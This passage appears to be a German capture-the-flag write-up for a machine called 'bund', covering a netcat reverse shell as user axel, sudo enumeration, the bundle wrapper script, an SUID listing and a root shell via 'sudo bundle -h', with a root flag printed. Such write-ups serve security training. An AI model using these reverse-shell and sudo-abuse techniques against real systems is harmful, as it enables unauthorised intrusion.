**Analyse:** Zuerst wird der Netcat-Listener auf Port `4444` gestartet. Dann wird `curl http://bund.nyx:9393/` ausgeführt. Dies löst die Ausführung der modifizierten `app.rb` auf dem Server aus. Der `nc -e`-Befehl wird als Benutzer `axel` ausgeführt und verbindet sich erfolgreich zurück zum Listener des Angreifers. Die eingehende Verbindung wird angezeigt (`connect to...`). In der neuen Shell wird mit `id` bestätigt, dass sie als `axel` läuft. Mit `ls` und `cd ~; ls` wird das Home-Verzeichnis gefunden und die `user.txt`-Datei entdeckt. `cat user.txt` liest die User-Flag aus.
**Bewertung:** **Initialer Zugriff als Benutzer `axel` erfolgreich erlangt!** Die Kombination aus unsicherem rsync und der Ruby-Webanwendung ermöglichte die RCE und den Aufbau einer Reverse Shell. Die User-Flag wurde ebenfalls gefunden.
**Empfehlung (Pentester):** Die User-Flag notieren. Die Shell stabilisieren und mit der Privilege Escalation beginnen. **Empfehlung (Admin):** Rsync absichern, Webanwendung prüfen, WEBrick absichern/ersetzen.
Nach Erlangung des initialen Zugriffs als `axel` wird nach Wegen zur Rechteausweitung gesucht.
Shell-Stabilisierung und Überprüfung der `sudo`-Rechte.
# (Keine Ausgabe)
Matching Defaults entries for axel on bund:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User axel may run the following commands on bund:
(root) NOPASSWD: /usr/local/bin/bundle
**Analyse:** Die Shell wird mit `stty` angepasst. `sudo -l` wird ausgeführt und zeigt, dass der Benutzer `axel` den Befehl `/usr/local/bin/bundle` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** **Klarer Vektor für Privilege Escalation.** Ähnlich wie bei `wtfutil` im vorherigen Bericht, kann ein Tool, das mit `sudo NOPASSWD` ausgeführt werden darf, oft für Rechteausweitung missbraucht werden. `bundle` ist der Paketmanager für RubyGems.
**Empfehlung (Pentester):** Untersuchen, wie `bundle` missbraucht werden kann. Mögliche Angriffe sind: PATH-Hijacking (wenn `bundle` andere Befehle aufruft), Ausnutzen von `Gemfile`-Optionen oder Hooks, oder (wie sich später herausstellt) eine unerwartete direkte Shell. **Empfehlung (Admin):** Die `sudo`-Regel für `/usr/local/bin/bundle` entfernen. `NOPASSWD` äußerst sparsam verwenden.
Untersuchung der `bundle`-Datei selbst.
/usr/local/bin/bundle: Ruby script, ASCII text executable
#!/usr/bin/ruby2.7
#
# This file was generated by RubyGems.
#
# The application 'bundler' is installed as part of a gem, and
# this file is here to facilitate running it.
#
require 'rubygems'
version = ">= 0.a"
str = ARGV.first
if str
str = str.b[/\A_(.*)_\z/, 1]
if str and GemVersion.correct?(str)
version = str
ARGV.shift
end
end
if Gem.respond_to?(:activate_bin_path)
load Gem.activate_bin_path('bundler', 'bundle', version)
else
gem "bundler", version
load Gem.bin_path("bundler", "bundle", version)
end
**Analyse:** `file` bestätigt, dass `/usr/local/bin/bundle` ein Ruby-Skript ist. `cat` zeigt den Inhalt des Skripts. Es handelt sich um ein Standard-Wrapper-Skript, das von RubyGems generiert wird, um das eigentliche `bundle`-Executable aus dem installierten `bundler`-Gem zu laden und auszuführen. Es enthält `require 'rubygems'`.
**Bewertung:** Das Skript selbst scheint standardmäßig zu sein. Der interessanteste Punkt für einen Angriff wie PATH-Hijacking wäre das `require 'rubygems'` oder die `load Gem.activate_bin_path(...)`-Aufrufe. Wenn der `PATH` manipuliert werden könnte, könnte eine eigene `rubygems.rb` oder ein eigenes `bundle`-Executable in einem priorisierten Verzeichnis platziert werden.
**Empfehlung (Pentester):** Den `$PATH` überprüfen, der bei der Ausführung mit `sudo` verwendet wird. Prüfen, ob Verzeichnisse im `PATH` existieren, in denen `axel` Schreibrechte hat. Erstellen einer schadhaften `rubygems.rb` oder eines `bundle`-Skripts in einem solchen Verzeichnis. Alternativ den im Log gezeigten, einfacheren Exploit versuchen. **Empfehlung (Admin):** Sicherstellen, dass `sudo` den `PATH` auf sichere Standardwerte zurücksetzt (`secure_path` ist in der `sudoers`-Ausgabe vorhanden und aktiv). Die Integrität von Standard-Systemdateien und Wrapper-Skripten sicherstellen.
Suche nach SUID-Dateien (Standard-Enumeration).
263828 56 -rwsr-xr-x 1 root root 55528 ene 20 2022 /usr/bin/mount 263458 72 -rwsr-xr-x 1 root root 71912 ene 20 2022 /usr/bin/su 259697 60 -rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn 259700 88 -rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd 259698 52 -rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh 263830 36 -rwsr-xr-x 1 root root 35040 ene 20 2022 /usr/bin/umount 307845 180 -rwsr-xr-x 1 root root 182600 ene 14 2023 /usr/bin/sudo 259701 64 -rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd 263292 44 -rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp 273849 472 -rwsr-xr-x 1 root root 481608 jul 2 2022 /usr/lib/openssh/ssh-keysign 264755 52 -rwsr-xr-- 1 root messagebus 51336 oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Die Suche nach SUID-Dateien findet nur Standard-Linux-Binaries. Keine ungewöhnlichen oder verdächtigen Dateien mit SUID-Bit werden entdeckt.
**Bewertung:** Bestätigt, dass SUID-Exploits wahrscheinlich kein einfacher Weg zur Rechteausweitung sind. Der Fokus bleibt auf der `sudo`-Regel.
Ausführung von `sudo bundle -h`, was unerwartet eine Root-Shell liefert.
root@bund:/home/axel# #!/bin/bash
**Analyse:** Der Befehl `sudo /usr/local/bin/bundle -h` wird ausgeführt. Anstatt die Hilfe anzuzeigen, erhält der Benutzer sofort einen Root-Shell-Prompt (`root@bund:/home/axel#`). Die zusätzliche Zeile `#!/bin/bash` in der Ausgabe ist seltsam und deutet möglicherweise darauf hin, dass `/usr/local/bin/bundle` durch ein einfaches Bash-Skript ersetzt wurde, das nur eine Shell startet, oder dass der `-h`-Parameter auf ungewöhnliche Weise interpretiert wird und zur Ausführung von `/bin/bash` führt.
**Bewertung:** **Privilege Escalation erfolgreich!** Obwohl der genaue Mechanismus (direkte Shell durch `-h`, PATH-Hijacking, ersetztes Skript) aus dem Log nicht 100%ig klar wird, ist das Ergebnis eindeutig: Der Aufruf von `sudo bundle -h` führt zu einer Root-Shell.
**Empfehlung (Pentester):** Die Root-Shell nutzen, um die Root-Flag zu lesen und weitere Aktionen durchzuführen. Den genauen Mechanismus des Exploits untersuchen (z.B. `$PATH` in der sudo-Session prüfen, `/usr/local/bin/bundle` erneut untersuchen). **Empfehlung (Admin):** **Dringend:** Die `sudo`-Regel für `bundle` entfernen. Untersuchen, warum `sudo bundle -h` eine Shell startet. Die Integrität der Datei `/usr/local/bin/bundle` überprüfen und sicherstellen, dass sie nicht manipuliert wurde. Den `secure_path` in der `sudoers`-Datei überprüfen.
Navigation im Root-Verzeichnis und Auslesen der Root-Flag.
# (Wechsel nach /root)
root.txt
812efa110d7a6029cbf87d5b97d53691
**Analyse:** In der erhaltenen Root-Shell wird mit `cd ~` ins Home-Verzeichnis (`/root`) gewechselt. `ls` zeigt die Datei `root.txt`. `cat root.txt` liest den Inhalt aus - die Root-Flag.
**Bewertung:** Die Root-Flag wurde erfolgreich gefunden.
**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** Systembereinigung und Absicherung durchführen.
Privilege Escalation erfolgreich abgeschlossen.